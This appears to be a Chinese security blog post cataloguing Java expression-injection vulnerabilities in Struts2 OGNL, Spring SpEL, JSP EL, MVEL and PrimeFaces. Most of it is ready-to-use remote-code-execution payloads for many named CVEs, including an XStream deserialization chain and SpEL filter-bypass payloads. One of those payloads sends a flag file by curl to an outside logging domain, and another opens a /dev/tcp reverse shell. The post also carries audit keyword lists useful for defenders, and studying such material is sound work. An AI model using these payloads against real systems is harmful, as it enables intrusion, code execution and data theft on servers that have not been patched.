JAVA表达式注入漏洞

1. Struts2—OGNL

1.1 基本语法

OGNL具有三要素: 表达式、ROOT对象、上下文环境(MAP结构)。处理OGNL的最顶层对象是一个Map对象,通常称这个Map对象为context map或者context,OGNL的root就在这个context map中,在表达式中可以直接引用oot对象的属性。

Student rootUser = new Student(1,"tom","JAVA",82);
Map<String, Student> context = new HashMap<String, Student>();
context.put("user1",new Student(2,"John","JAVA",78));
context.put("user2",new Student(3,"zhangsan","JAVA",63));
OgnlContext oc = new OgnlContext();
//ognl由root和context两部分组成
oc.setRoot(rootUser);
oc.setValues(context);
//get ognl的root的值的时候,直接写希望获取的值的名字就可以了
String name = (String) Ognl.getValue("name",oc,oc.getRoot());//tom
Integer score = (Integer) Ognl.getValue("score",oc,oc.getRoot());//82
//get ognl非root的值的时候,需要使用#
Student name1 = (Student) Ognl.getValue("#context['user1']",oc,oc.getRoot());
String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot());//zhangsan
Integer score1 = (Integer) Ognl.getValue("#user1.score",oc,oc.getRoot());//78
Integer score2 = (Integer) Ognl.getValue("#user2.score",oc,oc.getRoot());//63
//ognl的getValue函数可以直接执行java函数
Object obj = Ognl.getValue("'helloworld'.length()",oc.getRoot()); //10
//访问静态属性和方法的时候需要使用@
Object obj2 = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('cmd.exe /c start dir')",oc.getRoot());//getValue具有代码执行能力

//命令执行
OgnlContext context2 = new OgnlContext();
//@[类全名(包括包路径)]@[方法名|值名]
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')", context2, context2.getRoot());
Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'open /Applications/Calculator.app/\')\")(glassy)(amadeus)",context,"");

在Structs中,OGNL的context变成了ActionContext,root变成了valueStack。ActionContext中包含三个常见的作用域request、session、application。

ActionContext AC = ActionContext.getContext();
Map Parameters = (Map)AC.getParameters();
String expression = "${(new java.lang.ProcessBuilder('calc')).start()}";
AC.getValueStack().findValue(expression));

1.2 CVE漏洞

(1)s2-001
适用版本:2.0.0 – 2.0.8
漏洞成因:当参数值是形如%{*}的形式的时候,ST2会把这个值当做OGNL表达式去执行。关键函数在TextParseUtil.translateVariables
注入点:参数值
payload:

//简易无回显
%{@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app/")}
//重写response实现命令回显
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

(2)s2-003
适用版本:2.0.0 – 2.1.8.1,tomcat版本要求:6.0
漏洞成因:通过构造形如(exp)(a)(b)的形式的表达式,放入ognl.setvalue,最终会将exp带入ognl.getvalue
注入点:参数名
payload:

http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)

此payload的url未编码的样子是:(‘#context[\'xwork.MethodAccessor.denyMethodExecution\']=false’)(a)(b)&(‘@java.lang.Runtime@getRuntime().exec(\’open /Applications/Notes.app/\’)')(a)(b),可以发现把敏感字符(@ = #都写成了\u00??的形式)转义绕过acceptableName中设置的黑名单,

(3)s2-005
适用版本:2.0.0 – 2.1.8.1,tomcat版本要求:6.0
漏洞成因:绕过s2-003的补丁,通过ognl表达式,可以对ognl的root、context中的值做任意修改,从而绕过基于定义变量值的补丁
注入点:参数名
payload:

http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(a)(b)&('\u0023_memberAccess.allowStaticMethodAccess\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)

(4)s2-007
适用版本:2.0.0 – 2.2.3
漏洞成因:当对参数做了类型限制,而类型转换出错的时候,ST2会把出错的参数值带入Ognl.getValue
注入点:参数值
payload:

user.name=glassy&user.age=12&user.birthDay=%27%2b(%23_memberAccess.allowStaticMethodAccess%3dtrue%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%40java.lang.Runtime%40getRuntime().exec(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27))%2b%27&user.email=31312%40qq.com

(5)s2-009
适用版本:2.0.0 – 2.3.1.1,tomcat版本要求:6.0
漏洞成因:绕过s2-003和s2-005,把RCE的位置从参数名改到了参数值

OgnlContext context = new OgnlContext();
Ognl.setValue("password",context,"@java.lang.Runtime@getRuntime().exec('open /Applications/Notes.app/')(glassy)");
Ognl.setValue("a[(password)(glassy)]",context,"true");

第一行代码用于将password-payload的map写入ognl的root中去,第二行代码中的a[(password)(glassy)]在AST树中进行解析的时候按照从右到左,从里到外的顺序进行解析,因此优先解析(password)(glassy),password的值在root中有(password-payload),于是解析成了payload(glassy)的形式,然后就是和ST2-003一样的原理造成了RCE了。
注入点:参数名+参数值
payload:

http://www.glassy.com/test.action?password=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27/Applications/Notes.app/Contents/MacOS/Notes%27%29%29%28meh%29&z[%28password%29%28meh%29]=true

(6)s2-012
适用版本:Struts Showcase 2.0.0 – Struts Showcase 2.3.14.2
漏洞成因:计算重定向url的时候会把重定向参数的值放入ognl.getvalue中
注入点:重定向参数
payload:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "open /Applications/Notes.app/"})).start()}

这里没有使用Runtime类而改用了ProcessBuilder类,这个类有一个优势,它不是静态类,命令执行的时候调用的start方法也不是静态方法,不受OgnlValueStack类的allowStaticMethodAccess值的限制。(注意一下,这个poc也要url编码和S2-001一样的原因)

(7)s2-013
适用版本:2.0.0 – 2.3.14.1,需要jsp的s:url或者s:a标签中的includeParams属性为all或者get
漏洞成因:计算标签中action路径的时候,会把参数值带入ognl.getvalue
注入点:使用特殊s:url或者s:a标签的action的参数值
payload:

http://www.glassy.com/Struts2Demo_war_exploded/hello.jsp?fakeParam=%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22%2fbin%2fbash%22%2c+%22-c%22%2c+%22open+%2fApplications%2fNotes.app%2f%22%7d)).start()%7d

(8)s2-015
适用版本:2.0.0 – 2.3.14.2,使用通配符‘*’来做action映射的时候才能利用成功。和012类似。
漏洞成因:计算重定向url的时候会把action的值放入ognl.getvalue中
注入点: action值
payload:

http://www.glassy.com/Struts2Demo_war_exploded/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ifconfig%27%29.getInputStream%28%29%29%2C%23q%7D.action

(9)s2-016
适用版本:2.0.0 – 2.3.15
漏洞成因:ST2使用action:或redirect:\redirectAction:作为前缀参数来进行短路导航状态变化,后面用来跟一个期望的导航目标表达式。和012类似
注入点: action:或redirect:\redirectAction:后面的值
payload:

http://www.glassy.com/Struts2Demo_war_exploded/hello.action?redirect:%24%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%27%2fbin%2fbash%27%2c+%27-c%27%2c%27open+%2fApplications%2fNotes.app%2f%27%7d)).start()%7d

(10)s2-019
适用版本:2.0.0 – 2.3.15.1,要求ST2开启开发者模式。
漏洞成因:从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中。
注入点:debug和expression的参数值
payload:

http://www.glassy.com/Struts2Demo_war_exploded/hello.action?debug=command&expression=%23a%3d(new+java.lang.ProcessBuilder(%27open+%2fApplications%2fNotes.app%2f%27)).start()

补:s2-020

http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shell
http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

(11)s2-029
适用版本:2.0.0 – 2.3.24.1 (不包括2.3.20.3)
漏洞成因:返回给前端的jsp中的st2标签的属性值是形如%{exp}的形式的时候,会把exp放入ognl.getvalue。
注入点:写入jsp中st2标签特殊属性值中的参数值
payload:

http://www.glassy.com/Struts2Demo_war_exploded/s2029.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('open%20/Applications/Notes.app/').getInputStream()))

(12)s2-032
适用版本:2.3.20 – 2.3.28(2.3.20.3和2.3.24.3除外),要求在struts.xml中将DynamicMethodInvocation设置为true才能利用
漏洞成因:当所有的interceptors调用完成后,计算返回码的时候,ST2就开始去计算我们最初传过来的method:后面的值,从而把内容放进了ognl.getValue,造成了RCE。
注入点:method:后的参数值
payload:

http://www.glassy.com/struts2-showcase/home11.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D),d&cmd=/Applications/Notes.app/Contents/MacOS/Notes

(13)s2-045
适用版本:2.3.5 – 2.3.31, 2.5 – 2.5.10
漏洞成因:上传组件的问题导致的RCE漏洞,ST2在处理上传文件出错的时候且错误信息中带%{exp}的时候,会把exp带入ognl.getValue
注入点:Content-Type的值
payload:

Content-Type:%{(#glassy='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start())}

补:s2-046
payload:

Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"

(14)s2-048
适用版本:使用了Struts 1 plugin 和Struts 1 action 的2.3.x 版本
漏洞成因:ST2处理ST1的action的时候会把ActionMessage的key传给ognl.getValue
注入点:传入ActionMessage的key中的参数值
payload:

name=${(#glassy='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start())}&age=11&__checkbox_bustedBefore=true&description=22

补:s2-052
反序列化漏洞
payload:

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>

(15)s2-053
适用版本:2.0.0 – 2.3.33 , 2.5 – 2.5.10.1
漏洞成因:计算Freemarker的标签属性值的时候会参数的值放入ognl.getvalue中。
注入点:Freemarker的标签属性中的参数值
payload:

http://www.glassy.com/Struts2Demo_war_exploded/s2053.action?name=%25%7b(%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23a%3d(new+java.lang.ProcessBuilder(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27)).start())%7d

2. Spring—SPEL

2.1 基本语法

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}
属性名称引用还可以用$符号 如:${someProperty}
使用T()运算符会调用类作用域的方法和常量。#{T(java.lang.Math)}

Demo

 //类型表达式
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"cmd.exe /c start dir\")");
Object value = exp.getValue();
//类实例化
Expression exp2 = parser.parseExpression("new java.util.Date()");
Date value2 = (Date) exp2.getValue();
System.out.println(value2);
//Method invocation
String c = parser.parseExpression("'abc'.substring(2, 3)").getValue(String.class);
System.out.println(c);
//variables
EvaluationContext context = new StandardEvaluationContext("HC_DU");
context.setVariable("variable", "dudu");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1);
String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3);

Demo中用到了StandardEvaluationContext

SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。指定正确EvaluationContext,是防止SpEl表达式注入漏洞产生的首选,之前出现过相关的SpEL表达式注入漏洞,其修复方式就是使用SimpleEvaluationContext替代StandardEvaluationContext。

Bean定义

//xml配置
<bean id="numberGuess" class="org.spring.samples.NumberGuess">
    <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/>
    <!-- other properties -->
</bean>
//基于注解的使用
public class EmailSender {
    @Value("${spring.mail.username}")
    private String mailUsername;
    @Value("#{ systemProperties['user.region'] }")    
    private String defaultLocale;
    //...
}

2.2 常用payload

${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
//java9
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

对关键字黑名单过滤绕过的payload
(1)黑名单正则匹配JAVA关键词,如:java.+lang exec.*(等
利用反射构造payload

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
   .getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
        .getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),
                new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}

利用ScriptEngineManager构造payload

#{T(javax.script.ScriptEngineManager).newInstance()
    .getEngineByName("nashorn")
        .eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec 5<>/dev/tcp/1.2.3.4/2333;cat <&5 | while read line; do $line 2>&5 >&5; done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}

(2)黑名单过滤.getClass.class..addRole.getPassword.removeRolesession['class']
利用数组方式绕过

''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]
    .invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7]
        .invoke(null),'curl 172.17.0.1:9898')

(3)命令执行被过滤
采用String类动态生成字符绕过
例如命令为:open /Applications/Calculator.app,写成new java.lang.String(new byte[]{<ascii value>,<ascii value>,...})或者concat(T(java.lang.Character).toString(<ascii value>))嵌套来绕过

(4)审计常见关键词

org.springframework.expression|parseExpression|getValue|getValueType|value="#{*}

2.3 CVE漏洞

(1)SpringBoot
影响版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView类

private static class SpelView implements View {
        private final String template;
        private final StandardEvaluationContext context = new StandardEvaluationContext();
        private PropertyPlaceholderHelper helper;
        private PlaceholderResolver resolver;
 
        public SpelView(String template) {
            this.template = template;
            this.context.addPropertyAccessor(new MapAccessor());
            this.helper = new PropertyPlaceholderHelper("${", "}");
            this.resolver = new ErrorMvcAutoConfiguration.SpelPlaceholderResolver(this.context);
        }
 
        public String getContentType() {
            return "text/html";
        }
 
        public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
            if(response.getContentType() == null) {
                response.setContentType(this.getContentType());
            }
 
            Map<String, Object> map = new HashMap(model);
            map.put("path", request.getContextPath());
            this.context.setRootObject(map);
            String result = this.helper.replacePlaceholders(this.template, this.resolver);
            response.getWriter().append(result);
        }
    }

public String resolvePlaceholder(String name) {
        Expression expression = this.parser.parseExpression(name); 
        try {
            Object value = expression.getValue(this.context);
            return HtmlUtils.htmlEscape(value == null?null:value.toString());
        } catch (Exception var4) {
            return null;
        }
    }

(2)Spring Data Commons远程代码执行漏洞(CVE-2018-1273)
影响版本:1.13-1.13.10、2.0-2.0.5

漏洞补丁

漏洞代码:

private static class MapPropertyAccessor extends AbstractPropertyAccessor {
       public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
           if (!this.isWritableProperty(propertyName)) {
               throw new NotWritablePropertyException(this.type, propertyName);
           } else {
               StandardEvaluationContext context = new StandardEvaluationContext();
               context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService));
               context.setTypeConverter(new StandardTypeConverter(this.conversionService));
               context.setRootObject(this.map);
               Expression expression = PARSER.parseExpression(propertyName);
               PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty();
               TypeInformation<?> owningType = leafProperty.getOwningType();
               TypeInformation<?> propertyType = leafProperty.getTypeInformation();
               propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
               if (propertyType != null && this.conversionRequired(value, propertyType.getType())) {
                   PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
                   if (descriptor == null) {
                       throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType()));
                   }
                   MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
                   TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
                   if (typeDescriptor == null) {
                       throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
                   }
                   value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
               }
               expression.setValue(context, value);
           }
       }

下面的代码导致普通的类表达式payload无法触发成功,需要用JAVA反射机制绕过。

context.setTypeLocator(typeName -> {
    throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
});

payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open /Applications/Calculator.app")]=ruilin&password=ruilin&repeatedPassword=ruilin
payload

(3)Spring Messageing远程命令执行漏洞(CVE-2018-1270)
影响版本:Spring Framework 5.0 to 5.0.4、Spring Framework 4.3 to 4.3.14或更老版本。
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS。STOMP包含协议CONNECT连接、SEND发送、SUBSCRIBE订阅、UNSUBSCRIBE退订、BEGIN开始、COMMIT提交、ABORT取消、ACK确认、NACK负响应、DISCONNECT断开

STOMP

app.js中的代码建立Websocket连接,

var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
...
stompClient.subscribe('/topic/greetings', function (greeting) {
    showGreeting(JSON.parse(greeting.body).content);
},header);

selector本身用于对订阅信息进行过滤,header参数的接收和处理函数如下

protected void addSubscriptionInternal(
    String sessionId, String subsId, String destination, Message<?> message
    Expression expression = null;
    MessageHeaders headers = message.getHeaders();
    String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
    if (selector != null) {
        try {
            expression = this.expressionParser.parseExpression(selector);
            this.selectorHeaderInUse = true;
            if (logger.isTraceEnabled()) {
                logger.trace("Subscription selector: [" + selector + "]");
            }
        }
        catch (Throwable ex) {
            if (logger.isDebugEnabled()) {
                logger.debug("Failed to parse selector: " + selector, ex);
            }
        }
    }
    this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
    this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
}
...
Expression expression = sub.getSelectorExpression();
if(expression==null){
    result.add(sessionId,subId);
}
else{
    if(context==null){
        context=new StandardEvaluationContext(message);
        context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccess)
    }
    try {
        if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
        result.add(sessionId, subId);
        }
    }
}
payload

3. JSP—JSTL_EL

3.1 基本语法

序号 隐含对象名称       描述
1   pageContext        对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
2   pageScope          代表page域中用于保存属性的Map对象
3   requestScope       代表request域中用于保存属性的Map对象
4   sessionScope       代表session域中用于保存属性的Map对象
5   applicationScope   代表application域中用于保存属性的Map对象
6   param              表示一个保存了所有请求参数的Map对象
7   paramValues        表示一个保存了所有请求参数的Map对象,它对于某个请求参数,返回的是一个string[]
8   header             表示一个保存了所有http请求头字段的Map对象,注意:如果头里面有“-” ,例Accept-Encoding,则要header[“Accept-Encoding”]
9   headerValues       表示一个保存了所有http请求头字段的Map对象,它对于某个请求参数,返回的是一个string[]数组。注意:如果头里面有“-” ,例Accept-Encoding,则要headerValues[“Accept-Encoding”]
10  cookie             表示一个保存了所有cookie的Map对象
11  initParam          表示一个保存了所有web应用初始化参数的map对象
<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
</spring:message>

3.2 CVE-2011-2730

<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
<spring:message  text="${param.a}"></spring:message>

http://localhost/XXX.jsp?a=${applicationScope}

容器第一次执行EL表达式${param.a}获得了我们输入的${applicationScope},然后Spring标签获取容器的EL表达式求值对象,把${applicationScope}再次执行掉,形成了漏洞。

4. Elasticsearch—MVEL

4.1 基本语法

MVEL表达式执行方法有两种模式:解释模式和编译模式

<dependency>
    <groupId>org.mvel</groupId>
    <artifactId>mvel2</artifactId>
    <version>2.4.4.Final</version>
</dependency>

解释模式:

String expression = "foobar > 99";
Map vars = new HashMap();
vars.put("foobar", new Integer(100)); //vars={foobar=100}
Boolean result = (Boolean) MVEL.eval(expression, vars); //result=true
if (result.booleanValue()) {
    System.out.println("It works!");
}

编译模式:

String expression = "foobar > 99";
// Compile the expression.
Serializable compiled = MVEL.compileExpression(expression);
Map vars = new HashMap();
vars.put("foobar", new Integer(100));
// Now we execute it.
Boolean result = (Boolean) MVEL.executeExpression(compiled, vars);
if (result.booleanValue()) {
    System.out.println("It works!");
}

比解释模式多了一步编译MVEL.compileExpression,并且在执行时不是MVEL.eval而是MVEL.executeExpression
用解释模式下注入demo如下

java import org.mvel.MVEL;  
public class MVELTest {  
        public static void main(String[] args) {  
              String expression = "new java.lang.ProcessBuilder(/"calc/").start();";  
               Boolean result = (Boolean) MVEL.eval(expression, vars);  
         }  
  } 

在ElasticSearch中MVEL的执行模式如下

String str = "a=123";
String exp = ";new java.lang.ProcessBuilder(\"calc\").start();";
MapVariableResolverFactory resolver = new MapVariableResolverFactory(new HashMap());
ExecutableStatement script = (ExecutableStatement) MVEL.compileExpression(str+exp);
script.getValue(null,resolver);

4.2 CVE-2014-3120

payload

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();
创建数据
代码执行

4.3 常见关键词

org.mvel2.MVEL.eval
org.mvel2.MVELInterpretedRuntime.parse
org.mvel2.ast.ASTNode.getReducedValue
org.mvel2.PropertyAccessor.get
org.mvel2.MVEL.execute
org.mvel2.compiler.ExecutableStatement.getValue
org.mvel2.compiler.ExecutableAccesso
org.mvel2.ast.NewObjectNode.getReducedValueAccelerated
org.mvel2.optimizers.AccessorOptimizer|org.mvel2.optimizers.dynamic.DynamicOptimizer.optimizeObjectCreation

5. Primefaces框架表达式注入

验证(代码):
${facesContext.getExternalContext().getResponse().getWriter().println("~~~elinject~~~")}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}
加密的Payload:
uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkV9XxzneUPyMM8BUxgtfxF3wYMlt0MXkqO5+OpbBXfBSKlTh7gJWI1HR5e/f4ZjcLzobfbDkQghTWQVAXvhdUc8D7M8Nnr+gSpk0we/YPtcrOOmI+/uuxl31mfOtFvEWGE3AUZFGxpmyfyMuGL0rzVw3wUpjUlHw4k3O4pm1RrCJT/PxEtCs00U9EBM2okSaAdPIn9p9G5X3lwi6lN7MXvoBhoFVy+31JzmoVeaZattVJhqvZRs1fguZGDCqQaJe+c6rQmcZWEKQg==
Web路径:
${facesContext.getExternalContext().getResponse().getWriter().println(request.getSession().getServletContext().getRealPath(/"//"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}

6. Fel

配置

    <dependency>
      <groupId>org.eweb4j</groupId>
      <artifactId>fel</artifactId>
      <version>0.8</version>
    </dependency>

常见用法

//算数表达式
FelEngine fel = new FelEngineImpl();
Object result = fel.eval("$('Math').min(1,2)");
System.out.println(result);
//        Object resultfel = fel.eval("$(ognl.Ognl).getValue(\"@java.lang.Runtime@getRuntime().exec('cmd.exe /c start dir')\",null)");
//变量用法
FelEngine fel2 = new FelEngineImpl();
FelContext ctx2 = fel2.getContext();
ctx2.set("单价", 1.5);
ctx2.set("数量", 1);
ctx2.set("运费", 75);
Object result2 = fel2.eval("单价*数量+运费");
System.out.println(result2);
//访问对象用法
FelEngine fel3 = new FelEngineImpl();
FelContext ctx3 = fel.getContext();
Student user = new Student(1, "zhangsan", "JAVA",89);
ctx3.set("user", user);
Map<String, String> map = new HashMap<String, String>();
map.put("name", "wangwu");
ctx3.set("map", map);
// 调用user.getName()方法。
System.out.println(fel.eval("user.name"));
// map.name会调用map.get("name");
System.out.println(fel.eval("map.name"));

参考资料

OGNL
https://www.freebuf.com/vuls/217482.html
https://paper.seebug.org/794/
SPEL
http://rui0.cn/archives/1043
http://www.polaris-lab.com/index.php/archives/613/
MVEL
https://wsygoogol.github.io/2016/11/15/MVEL%E8%A7%A3%E6%9E%90%E8%A1%A8%E8%BE%BE%E5%BC%8F/
STOMP
http://jmesnil.net/stomp-websocket/doc/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,117评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,963评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,897评论 0 240
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,805评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,208评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,535评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,797评论 2 311
